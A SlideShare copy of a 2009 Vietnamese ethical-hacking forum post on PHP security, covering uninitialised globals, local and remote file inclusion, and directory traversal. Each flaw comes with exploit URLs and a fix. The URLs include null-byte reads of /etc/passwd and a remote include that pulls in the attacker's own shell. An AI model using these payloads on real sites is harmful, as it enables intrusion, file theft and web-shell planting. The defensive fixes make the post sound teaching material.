SlideShare a Scribd company logo
1 of 4
:: EnHack.Net ::
                                        http://xforce.enhack.net/

PHP Underground Security - File Inclusion/Traverse
http://xforce.enhack.net/viewtopic.php?f=7&t=318



Author:           Pim [ 15 Feb 2009 18:20 ]

Post subject: PHP Underground Security - File Inclusion/Traverse


Sang VBF đọc thấy có một bài LFI, RFI .. có dính null byte. Nhớ là Jutoms đã có một bài

về vấn đề này, lên G search và post lại cho anh em nào có nhu cầu đọc cho vui


---[ 0x01: Global Variables : Biến toàn cục
Biến trong PHP được tạo ra tự động mà không cần khai báo trước khi dùng, nếu gặp $_var
là tự tạo biến.


Xem code :
Code:
        if ($is_admin == 1) {

        //Yes, I'm the admin so call the
        [...]

        } else {

        //No, I'm not the admin
        [...]

        }


Bug : if ($is_admin == 1) ~~> trước đó chưa khởi tạo giá trị ban đầu.
Exploite : http://remote_host/bugged.php?is_admin=1


Fixed Code:

        $is_admin = 0;

        [...]


        if ($is_admin == 1) {

        //Yes, I'm the admin so call the
        [...]

        } else {

        //No, I'm not the admin
        [...]
}
==========
---[ 0x02: File Inclusion]
-----[ Local File Inclusion]
PHP là một ngôn ngữ mạnh và đơn giản ~~> nhận xét của tác giả, Jutoms đồng quan
điểm


Bugged Code:
<?php

        include "/users/".$include_path.".php";
        [...]
?>


Như trên, $include_path chưa được khai báo trước
Exploite :
hxxp://remote_host/bugged.php?include_p ... /passwd%00
~~> list all user on server


Question??
%00 là gì ? ~~> kí tự Null kết thúc chuỗi gặp %00 là tự hiểu kết thúc chuỗi và bỏ qua các
kí tự cuối cùng, chính là bỏ cái đuôi .PHP (include "/users/".$include_path.".PHP")




======================


-----[ Remote File Inclusion]


Code:
<?php
        [...]

        include($_GET['pag']);

        [...]
?>


~~> Vẫn cái bug $pag chưa được khai báo


Exploite :
Remote : http://remote_host/inc.php?pag=[Evil Script - our shell located on our server]
Cái quen thuộc mà ta hay dùng là :
http://remote_host/inc.php?pag=http://host/../shell.php
View files :
http://remote_host/inc.php?pag=/etc/passwd




Fix, how ? Tạo danh sách được chấp nhận (dùng mảng) :
Code:
[...]

           $pag = $_GET['pag'];

           $pages = array('index.php', 'alfa.php', 'beta.php', 'gamma.php');

           if(in_array($pag, $pages)) {

                   include($pag);

           } else {

           die("Hacking Attempt!");

           }

[...]




Gần với File Inclusion, File Traverse cũng không kém phần nguy hiểm.


File Traverse là gì ?
File Traverse hay còn gọi là "dot-dot-slash" nghĩa là "../", lỗi sinh ra như sau:
Code:
<?php
           [...]

           $fp = fopen("/path/{$_GET['filename']}.txt", 'r');

           [...]
?>


Như tên gọi dot-dot-slash, ta sử dụng ../ và NULL Byte để truy cập đến các cấp thư mục
cao hơn, vd như:
Code:
http://remote_host/path/bug.php?filename=../../../../path_of_another_file/file%00
http://remote_host/path/bug.php?filename=../../../../etc/passwd%00




Fix lỗi:
Sử dụng hàm basename() để cắt bỏ phần trước "/" của đường dẫn, nghĩa là
Code:
<?php

        $path = "/home/httpd/html/index.php";

        $file = basename($path); // $file is set to "index.php"
?>




Fixed Code:

<?php
        $clean = array();

        if (basename($_GET['filename']) == $_GET['filename']){

              $clean['filename'] = $_GET['filename'];

        } else {

              [...]

        }

        $fp = fopen("/path/{$clean['filename']}.txt", 'r');
?>


                                                                                 All times are UTC + 7 hours

                      Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
                                        http://www.phpbb.com/




                                 [ Copyright © 2008 - Developed by EHS ]
              :::::::::::::::: [ :: Entertainment and Ethical Hacking :: ] ::::::::::::::::

More Related Content

What's hot

Hướng Dẫn Cài Đặt Apache và php trên local
Hướng Dẫn Cài Đặt Apache và php trên localHướng Dẫn Cài Đặt Apache và php trên local
Hướng Dẫn Cài Đặt Apache và php trên localquocluong
 
tài liệu Mã nguồn mở Lap trình shells
tài liệu Mã nguồn mở  Lap trình shellstài liệu Mã nguồn mở  Lap trình shells
tài liệu Mã nguồn mở Lap trình shellsThuyet Nguyen
 
Bài 5 Chức năng gửi email cho website - Xây dựng ứng dụng web
Bài 5 Chức năng gửi email cho website - Xây dựng ứng dụng webBài 5 Chức năng gửi email cho website - Xây dựng ứng dụng web
Bài 5 Chức năng gửi email cho website - Xây dựng ứng dụng webMasterCode.vn
 

What's hot (7)

Lesson 1 practice
Lesson 1 practiceLesson 1 practice
Lesson 1 practice
 
Thuc hanh 13
Thuc hanh  13Thuc hanh  13
Thuc hanh 13
 
Hướng Dẫn Cài Đặt Apache và php trên local
Hướng Dẫn Cài Đặt Apache và php trên localHướng Dẫn Cài Đặt Apache và php trên local
Hướng Dẫn Cài Đặt Apache và php trên local
 
Bai th08 php voi csdl
Bai th08 php voi csdlBai th08 php voi csdl
Bai th08 php voi csdl
 
Lesson 2 practice
Lesson 2 practiceLesson 2 practice
Lesson 2 practice
 
tài liệu Mã nguồn mở Lap trình shells
tài liệu Mã nguồn mở  Lap trình shellstài liệu Mã nguồn mở  Lap trình shells
tài liệu Mã nguồn mở Lap trình shells
 
Bài 5 Chức năng gửi email cho website - Xây dựng ứng dụng web
Bài 5 Chức năng gửi email cho website - Xây dựng ứng dụng webBài 5 Chức năng gửi email cho website - Xây dựng ứng dụng web
Bài 5 Chức năng gửi email cho website - Xây dựng ứng dụng web
 

Viewers also liked

Plataformas de desarrollo web a
Plataformas de desarrollo web aPlataformas de desarrollo web a
Plataformas de desarrollo web aantonio guerra
 
The Veneto Region Pilot Scheme - Cisco Learning Community
The Veneto Region Pilot Scheme - Cisco Learning CommunityThe Veneto Region Pilot Scheme - Cisco Learning Community
The Veneto Region Pilot Scheme - Cisco Learning CommunityGianluigi Cogo
 
4raz yadgiri-en [www.ketabesabz.com]-2
4raz yadgiri-en [www.ketabesabz.com]-24raz yadgiri-en [www.ketabesabz.com]-2
4raz yadgiri-en [www.ketabesabz.com]-2MBarzegar
 
клуб юный дипломат презентация для родителей
клуб юный дипломат презентация для родителейклуб юный дипломат презентация для родителей
клуб юный дипломат презентация для родителейАндрей Афанасьев
 
Innovazione nella PA - Convegno Enis Scuola 2007
Innovazione nella PA - Convegno Enis Scuola 2007Innovazione nella PA - Convegno Enis Scuola 2007
Innovazione nella PA - Convegno Enis Scuola 2007Gianluigi Cogo
 
4 valuable points of operational excellence mining
4 valuable points of operational excellence mining4 valuable points of operational excellence mining
4 valuable points of operational excellence miningKeyon Tylor
 
Mahera alajeel
Mahera alajeelMahera alajeel
Mahera alajeelnono2613
 
How did IKEA change furniture retailing forever?
How did IKEA change furniture retailing forever?How did IKEA change furniture retailing forever?
How did IKEA change furniture retailing forever?Ekta Bihani
 
Tableau de bord Agefiph 1er semestre 2016
Tableau de bord Agefiph 1er semestre 2016Tableau de bord Agefiph 1er semestre 2016
Tableau de bord Agefiph 1er semestre 2016AVIE
 
Bureau Veritas - 15° Convegno Europeo CSG
Bureau Veritas - 15° Convegno Europeo CSGBureau Veritas - 15° Convegno Europeo CSG
Bureau Veritas - 15° Convegno Europeo CSGCentro Studi Galileo
 
C’ era una volta il sito
C’ era una volta il sitoC’ era una volta il sito
C’ era una volta il sitoGianluigi Cogo
 
Ethical Investigation Interviews: The PEACE Model
Ethical Investigation Interviews: The PEACE ModelEthical Investigation Interviews: The PEACE Model
Ethical Investigation Interviews: The PEACE ModelCase IQ
 
Finite & nofinite verbs
Finite & nofinite verbsFinite & nofinite verbs
Finite & nofinite verbsPooja H
 
Finite and Non-finite Verbs
Finite and Non-finite VerbsFinite and Non-finite Verbs
Finite and Non-finite Verbsgeetika2100
 
Internship Report (MEchanical Engg) by kalpesh pawar
Internship Report (MEchanical Engg) by kalpesh pawarInternship Report (MEchanical Engg) by kalpesh pawar
Internship Report (MEchanical Engg) by kalpesh pawarKalpesh Pawar
 

Viewers also liked (20)

Plataformas de desarrollo web a
Plataformas de desarrollo web aPlataformas de desarrollo web a
Plataformas de desarrollo web a
 
The Veneto Region Pilot Scheme - Cisco Learning Community
The Veneto Region Pilot Scheme - Cisco Learning CommunityThe Veneto Region Pilot Scheme - Cisco Learning Community
The Veneto Region Pilot Scheme - Cisco Learning Community
 
4raz yadgiri-en [www.ketabesabz.com]-2
4raz yadgiri-en [www.ketabesabz.com]-24raz yadgiri-en [www.ketabesabz.com]-2
4raz yadgiri-en [www.ketabesabz.com]-2
 
E-Skills
E-SkillsE-Skills
E-Skills
 
Louis-Pierre Geerinckx VRACHTFIETS
Louis-Pierre Geerinckx VRACHTFIETSLouis-Pierre Geerinckx VRACHTFIETS
Louis-Pierre Geerinckx VRACHTFIETS
 
клуб юный дипломат презентация для родителей
клуб юный дипломат презентация для родителейклуб юный дипломат презентация для родителей
клуб юный дипломат презентация для родителей
 
Innovazione nella PA - Convegno Enis Scuola 2007
Innovazione nella PA - Convegno Enis Scuola 2007Innovazione nella PA - Convegno Enis Scuola 2007
Innovazione nella PA - Convegno Enis Scuola 2007
 
4 valuable points of operational excellence mining
4 valuable points of operational excellence mining4 valuable points of operational excellence mining
4 valuable points of operational excellence mining
 
Kontrak berkala emas ubs
Kontrak berkala emas ubsKontrak berkala emas ubs
Kontrak berkala emas ubs
 
Applets
AppletsApplets
Applets
 
CV-Pam-English
CV-Pam-EnglishCV-Pam-English
CV-Pam-English
 
Mahera alajeel
Mahera alajeelMahera alajeel
Mahera alajeel
 
How did IKEA change furniture retailing forever?
How did IKEA change furniture retailing forever?How did IKEA change furniture retailing forever?
How did IKEA change furniture retailing forever?
 
Tableau de bord Agefiph 1er semestre 2016
Tableau de bord Agefiph 1er semestre 2016Tableau de bord Agefiph 1er semestre 2016
Tableau de bord Agefiph 1er semestre 2016
 
Bureau Veritas - 15° Convegno Europeo CSG
Bureau Veritas - 15° Convegno Europeo CSGBureau Veritas - 15° Convegno Europeo CSG
Bureau Veritas - 15° Convegno Europeo CSG
 
C’ era una volta il sito
C’ era una volta il sitoC’ era una volta il sito
C’ era una volta il sito
 
Ethical Investigation Interviews: The PEACE Model
Ethical Investigation Interviews: The PEACE ModelEthical Investigation Interviews: The PEACE Model
Ethical Investigation Interviews: The PEACE Model
 
Finite & nofinite verbs
Finite & nofinite verbsFinite & nofinite verbs
Finite & nofinite verbs
 
Finite and Non-finite Verbs
Finite and Non-finite VerbsFinite and Non-finite Verbs
Finite and Non-finite Verbs
 
Internship Report (MEchanical Engg) by kalpesh pawar
Internship Report (MEchanical Engg) by kalpesh pawarInternship Report (MEchanical Engg) by kalpesh pawar
Internship Report (MEchanical Engg) by kalpesh pawar
 

Similar to PHP Security File inclusion

File inclusion attack(nop thay)
File inclusion attack(nop thay)File inclusion attack(nop thay)
File inclusion attack(nop thay)phanleson
 
Cài đặt quản trị hệ điều hành Ubuntu 12.0
Cài đặt quản trị  hệ điều hành Ubuntu 12.0Cài đặt quản trị  hệ điều hành Ubuntu 12.0
Cài đặt quản trị hệ điều hành Ubuntu 12.0Cường Nguyễn Tam
 
Những lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần applicationNhững lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần applicationNgoc Dao
 
Speaker dang minh tuan javascript for php developer
Speaker dang minh tuan   javascript for php developerSpeaker dang minh tuan   javascript for php developer
Speaker dang minh tuan javascript for php developerAiTi Education
 
Javascript for php developer
Javascript for php developerJavascript for php developer
Javascript for php developerDang Tuan
 
Cac lenh co_ban_linux
Cac lenh co_ban_linuxCac lenh co_ban_linux
Cac lenh co_ban_linuxgofriv
 
Linux thietlaphethongmangubunt-45879
Linux thietlaphethongmangubunt-45879Linux thietlaphethongmangubunt-45879
Linux thietlaphethongmangubunt-45879Son Giap
 
Tai lieu quan tri he thong erp oracle
Tai lieu quan tri he thong erp oracleTai lieu quan tri he thong erp oracle
Tai lieu quan tri he thong erp oracleKiet Tran
 
PHP.pdf
PHP.pdfPHP.pdf
PHP.pdfTinPh6
 
Vũ thanh hiếu tạo mã độc trên vps tấn công android
Vũ thanh hiếu   tạo mã độc trên vps tấn công androidVũ thanh hiếu   tạo mã độc trên vps tấn công android
Vũ thanh hiếu tạo mã độc trên vps tấn công androidAnh Hiếu
 
Tạo mã độc trên vps
Tạo mã độc trên vpsTạo mã độc trên vps
Tạo mã độc trên vpsHường Tô
 
Báo cáo thực tập doanh nghiệp-Athena
Báo cáo thực tập doanh nghiệp-AthenaBáo cáo thực tập doanh nghiệp-Athena
Báo cáo thực tập doanh nghiệp-Athenaquocluong
 
các bước hack server
các bước hack servercác bước hack server
các bước hack servertruong le hung
 
Cài đặt web server (linux)-Pham Hoang Phuc-Athena
Cài đặt web server (linux)-Pham Hoang Phuc-AthenaCài đặt web server (linux)-Pham Hoang Phuc-Athena
Cài đặt web server (linux)-Pham Hoang Phuc-AthenaHoàng Phúc Phạm
 
Chương 2: Ngôn ngữ PHP
Chương 2: Ngôn ngữ PHPChương 2: Ngôn ngữ PHP
Chương 2: Ngôn ngữ PHPHồ Lợi
 
(274364013) baibaocaogiuaky 140505213913-phpapp02
(274364013) baibaocaogiuaky 140505213913-phpapp02(274364013) baibaocaogiuaky 140505213913-phpapp02
(274364013) baibaocaogiuaky 140505213913-phpapp02lehuyvinh
 

Similar to PHP Security File inclusion (20)

File inclusion attack(nop thay)
File inclusion attack(nop thay)File inclusion attack(nop thay)
File inclusion attack(nop thay)
 
Cài đặt quản trị hệ điều hành Ubuntu 12.0
Cài đặt quản trị  hệ điều hành Ubuntu 12.0Cài đặt quản trị  hệ điều hành Ubuntu 12.0
Cài đặt quản trị hệ điều hành Ubuntu 12.0
 
Tailieu
TailieuTailieu
Tailieu
 
Những lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần applicationNhững lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần application
 
Speaker dang minh tuan javascript for php developer
Speaker dang minh tuan   javascript for php developerSpeaker dang minh tuan   javascript for php developer
Speaker dang minh tuan javascript for php developer
 
Javascript for php developer
Javascript for php developerJavascript for php developer
Javascript for php developer
 
Cac lenh co_ban_linux
Cac lenh co_ban_linuxCac lenh co_ban_linux
Cac lenh co_ban_linux
 
Linux thietlaphethongmangubunt-45879
Linux thietlaphethongmangubunt-45879Linux thietlaphethongmangubunt-45879
Linux thietlaphethongmangubunt-45879
 
Tai lieu quan tri he thong erp oracle
Tai lieu quan tri he thong erp oracleTai lieu quan tri he thong erp oracle
Tai lieu quan tri he thong erp oracle
 
PHP.pdf
PHP.pdfPHP.pdf
PHP.pdf
 
Hdubuntu
HdubuntuHdubuntu
Hdubuntu
 
Vũ thanh hiếu tạo mã độc trên vps tấn công android
Vũ thanh hiếu   tạo mã độc trên vps tấn công androidVũ thanh hiếu   tạo mã độc trên vps tấn công android
Vũ thanh hiếu tạo mã độc trên vps tấn công android
 
Phalcon căn bản
Phalcon căn bảnPhalcon căn bản
Phalcon căn bản
 
Tạo mã độc trên vps
Tạo mã độc trên vpsTạo mã độc trên vps
Tạo mã độc trên vps
 
Báo cáo thực tập doanh nghiệp-Athena
Báo cáo thực tập doanh nghiệp-AthenaBáo cáo thực tập doanh nghiệp-Athena
Báo cáo thực tập doanh nghiệp-Athena
 
các bước hack server
các bước hack servercác bước hack server
các bước hack server
 
Cac buochackserver
Cac buochackserverCac buochackserver
Cac buochackserver
 
Cài đặt web server (linux)-Pham Hoang Phuc-Athena
Cài đặt web server (linux)-Pham Hoang Phuc-AthenaCài đặt web server (linux)-Pham Hoang Phuc-Athena
Cài đặt web server (linux)-Pham Hoang Phuc-Athena
 
Chương 2: Ngôn ngữ PHP
Chương 2: Ngôn ngữ PHPChương 2: Ngôn ngữ PHP
Chương 2: Ngôn ngữ PHP
 
(274364013) baibaocaogiuaky 140505213913-phpapp02
(274364013) baibaocaogiuaky 140505213913-phpapp02(274364013) baibaocaogiuaky 140505213913-phpapp02
(274364013) baibaocaogiuaky 140505213913-phpapp02
 

PHP Security File inclusion

  • 1. :: EnHack.Net :: http://xforce.enhack.net/ PHP Underground Security - File Inclusion/Traverse http://xforce.enhack.net/viewtopic.php?f=7&t=318 Author: Pim [ 15 Feb 2009 18:20 ] Post subject: PHP Underground Security - File Inclusion/Traverse Sang VBF đọc thấy có một bài LFI, RFI .. có dính null byte. Nhớ là Jutoms đã có một bài về vấn đề này, lên G search và post lại cho anh em nào có nhu cầu đọc cho vui ---[ 0x01: Global Variables : Biến toàn cục Biến trong PHP được tạo ra tự động mà không cần khai báo trước khi dùng, nếu gặp $_var là tự tạo biến. Xem code : Code: if ($is_admin == 1) { //Yes, I'm the admin so call the [...] } else { //No, I'm not the admin [...] } Bug : if ($is_admin == 1) ~~> trước đó chưa khởi tạo giá trị ban đầu. Exploite : http://remote_host/bugged.php?is_admin=1 Fixed Code: $is_admin = 0; [...] if ($is_admin == 1) { //Yes, I'm the admin so call the [...] } else { //No, I'm not the admin [...]
  • 2. } ========== ---[ 0x02: File Inclusion] -----[ Local File Inclusion] PHP là một ngôn ngữ mạnh và đơn giản ~~> nhận xét của tác giả, Jutoms đồng quan điểm Bugged Code: <?php include "/users/".$include_path.".php"; [...] ?> Như trên, $include_path chưa được khai báo trước Exploite : hxxp://remote_host/bugged.php?include_p ... /passwd%00 ~~> list all user on server Question?? %00 là gì ? ~~> kí tự Null kết thúc chuỗi gặp %00 là tự hiểu kết thúc chuỗi và bỏ qua các kí tự cuối cùng, chính là bỏ cái đuôi .PHP (include "/users/".$include_path.".PHP") ====================== -----[ Remote File Inclusion] Code: <?php [...] include($_GET['pag']); [...] ?> ~~> Vẫn cái bug $pag chưa được khai báo Exploite : Remote : http://remote_host/inc.php?pag=[Evil Script - our shell located on our server] Cái quen thuộc mà ta hay dùng là : http://remote_host/inc.php?pag=http://host/../shell.php
  • 3. View files : http://remote_host/inc.php?pag=/etc/passwd Fix, how ? Tạo danh sách được chấp nhận (dùng mảng) : Code: [...] $pag = $_GET['pag']; $pages = array('index.php', 'alfa.php', 'beta.php', 'gamma.php'); if(in_array($pag, $pages)) { include($pag); } else { die("Hacking Attempt!"); } [...] Gần với File Inclusion, File Traverse cũng không kém phần nguy hiểm. File Traverse là gì ? File Traverse hay còn gọi là "dot-dot-slash" nghĩa là "../", lỗi sinh ra như sau: Code: <?php [...] $fp = fopen("/path/{$_GET['filename']}.txt", 'r'); [...] ?> Như tên gọi dot-dot-slash, ta sử dụng ../ và NULL Byte để truy cập đến các cấp thư mục cao hơn, vd như: Code: http://remote_host/path/bug.php?filename=../../../../path_of_another_file/file%00 http://remote_host/path/bug.php?filename=../../../../etc/passwd%00 Fix lỗi: Sử dụng hàm basename() để cắt bỏ phần trước "/" của đường dẫn, nghĩa là Code:
  • 4. <?php $path = "/home/httpd/html/index.php"; $file = basename($path); // $file is set to "index.php" ?> Fixed Code: <?php $clean = array(); if (basename($_GET['filename']) == $_GET['filename']){ $clean['filename'] = $_GET['filename']; } else { [...] } $fp = fopen("/path/{$clean['filename']}.txt", 'r'); ?> All times are UTC + 7 hours Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group http://www.phpbb.com/ [ Copyright © 2008 - Developed by EHS ] :::::::::::::::: [ :: Entertainment and Ethical Hacking :: ] ::::::::::::::::